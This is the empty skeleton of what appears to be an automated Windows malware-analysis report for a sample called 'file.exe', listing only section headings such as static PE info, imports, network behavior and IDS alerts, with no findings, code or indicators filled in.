Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
file.exe